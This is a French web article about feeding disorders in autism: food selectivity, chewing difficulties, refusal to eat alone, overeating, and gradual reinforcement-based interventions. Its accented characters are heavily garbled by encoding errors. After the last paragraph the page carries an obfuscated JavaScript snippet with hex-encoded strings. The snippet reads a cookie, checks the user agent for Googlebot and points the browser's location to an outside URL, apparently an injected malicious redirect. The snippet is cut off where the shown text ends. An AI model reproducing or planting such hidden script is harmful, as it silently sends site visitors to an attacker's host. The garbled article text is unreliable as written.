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L’alimentation, souvent problAi??matique

Les troubles de lai??i??alimentation ne sont pas rares chez les personnes atteintes dai??i??autisme. Ces troubles peuvent prendre des formes diffAi??rentes, comme par exemple de la sAi??lectivitAi?? alimentaire, des difficultAi??s de mastication, des difficultAi??s Ai?? manger des aliments solides ou liquides, une consommation excessive de boisson ou de nourriture, un refus de sai??i??assoir Ai?? table, un refus de nourriture, un refus de manger seul ou de manger dans des lieux publiques ai??i??

Dans le cas de sAi??lectivitAi?? alimentaire, celle-ci peut A?tre liAi??e Ai?? diffAi??rentes dimensions sensorielles. La sAi??lectivitAi?? peut se faire sur la couleur par exemple, certains enfants ne mangeant que des aliments blancs ou jaunes. Pour dai??i??autres la sAi??lectivitAi?? pourra A?tre liAi??e Ai?? une texture en particulier, cai??i??est le cas dai??i??enfants ne mangeant que des aliments mixAi??s. Certains ne mangent quai??i??une certaine marque, peut A?tre Ai?? cause de la forme de lai??i??aliment ou du logo sur lai??i??emballageai??i?? Ils peuvent se limiter Ai?? 5 aliments ou mA?me moins. Cette sAi??lectivitAi?? alimentaire a des rAi??percussions au niveau de la santAi??, notamment des problA?mes de constipation peuvent apparaitre par manque de fibres. Certains enfants peuvent passer plusieurs jours sans manger si ils nai??i??ont pas les aliments quai??i??ils veulent.

Des troubles du comportements autour des repas peuvent apparaitre, comportements qui ont pour fonction lai??i??Ai??chappement ou lai??i??Ai??vitement des aliments non souhaitAi??s et/ ou lai??i??obtention des aliments prAi??fAi??rAi??s.

Certains enfants peuvent avoir des difficultAi??s Ai?? mastiquer ou Ai?? avaler la nourriture. Dai??i??autres peuvent ne pas apprAi??cier les aliments croustillants faisant beaucoup de bruits quand on les mangeai??i??

Avant de mettre en place une intervention pour les problA?mes de sAi??lectivitAi??, il est important de sai??i??assurer quai??i??il nai??i??y a pas de problA?mes mAi??dicaux. Une analyse prAi??cise des comportements alimentaires doit A?tre faite, en commenAi??ant pas remplir un journal dai??i??alimentation afin de faire le point sur tout ce que mange et boit la personne dans la journAi??e, Ai?? quelle heure, avec qui, en quelle quantitAi??, les comportements associAi??s. Cela permettra de pointer les difficultAi??s autour de la nourriture, et de quelle sAi??lectivitAi?? il sai??i??agit. Ensuite, le travail consistera Ai?? introduire progressivement de nouveaux aliments, Ai?? enseigner Ai?? la personne Ai?? mastiquer, Ai?? avaler. Cai??i??est un travail qui se fait petit pas par petit pas, en douceur, avec des systA?mes de contrat et de renforcement pour que le moment du repas soit associAi?? Ai?? des choses agrAi??ables et ne reste pas ou ne devienne pas aversif. Ce nai??i??est pas du jour au lendemain que les choses vont changer !

Les troubles du comportement autour du repas devront A?tre traitAi??s comme tous les troubles du comportement. Il sera nAi??cessaire de faire une analyse fonctionnelle pour dAi??terminer la fonction des comportements et dAi??cider dai??i??une intervention en fonction de cette analyse.

Pour les enfants refusant de manger seuls, cela peut se manifester de diffAi??rentes faAi??ons. Certains pourront avoir des troubles du comportements importants. Ici, il faudra analyser ce qui pose problA?me : capacitAi?? Ai?? manger seul ou prAi??fAi??rence pour A?tre aidAi?? alors quai??i??il sait manger seul.

Si lai??i??enfant ne sait pas manger seul, un enseignement devra A?tre mis en place, ou des adaptations proposAi??es (assiettes, couverts ergonomiquesai??i??). Lai??i??enseignement se fera par le biais de guidances adaptAi??es, choisies en fonction de lai??i??enfant et de la compAi??tence Ai?? enseigner, par la rAi??pAi??tition et lai??i??estompage des guidances, ainsi quai??i??un systA?me de renforcement. Une fois toutes les sous-compAi??tences acquises, on enseignera la chaine de rAi??ponse nAi??cessaire Ai?? lai??i??autonomie.

Si lai??i??enfant sait faire, mais ne veut pas, ce sont des stratAi??gies de contrA?le instructionnel quai??i??il sera nAi??cessaire de mettre en place. On devra retirer nos guidances et mettre en place un renforcement diffAi??rentiel pour que lai??i??enfant ait envie de faire seul.

Un autre aspect concernant les troubles alimentaires est la prise excessive de nourriture et de boisson, associAi??e Ai?? la recherche constante de nourriture. Ici encore, il sera nAi??cessaire dai??i??analyser la fonction des comportements. DiffAi??rentes fonctions peuvent apparaitre. La prise de nourriture peut A?tre une occupation chez des personnes qui ont des difficultAi??s Ai?? sai??i??occuper seul et/ou qui manquent de sources de stimulation dans leur quotidien. Il peut y avoir une recherche de stimulation sensorielle. Les stratAi??gies Ai?? mettre en place sont Ai?? dAi??terminer en fonction des comportements. Il sera probablement nAi??cessaire de mettre hors de la vue et hors dai??i??accA?s la nourriture, dai??i??enseigner des comportements adaptAi??s de recherche de nourriture (demandes), dai??i??enseigner des compAi??tences occupationnelles et de jeu autonome, et dai??i??enseigner des rA?gles et compAi??tences dai??i??autonomie dans la gestion de lai??i??alimentation. Des supports visuels peuvent A?tre nAi??cessaires (nombre de repas par jour, heures des repas, quantitAi?? de nourritureai??i??).var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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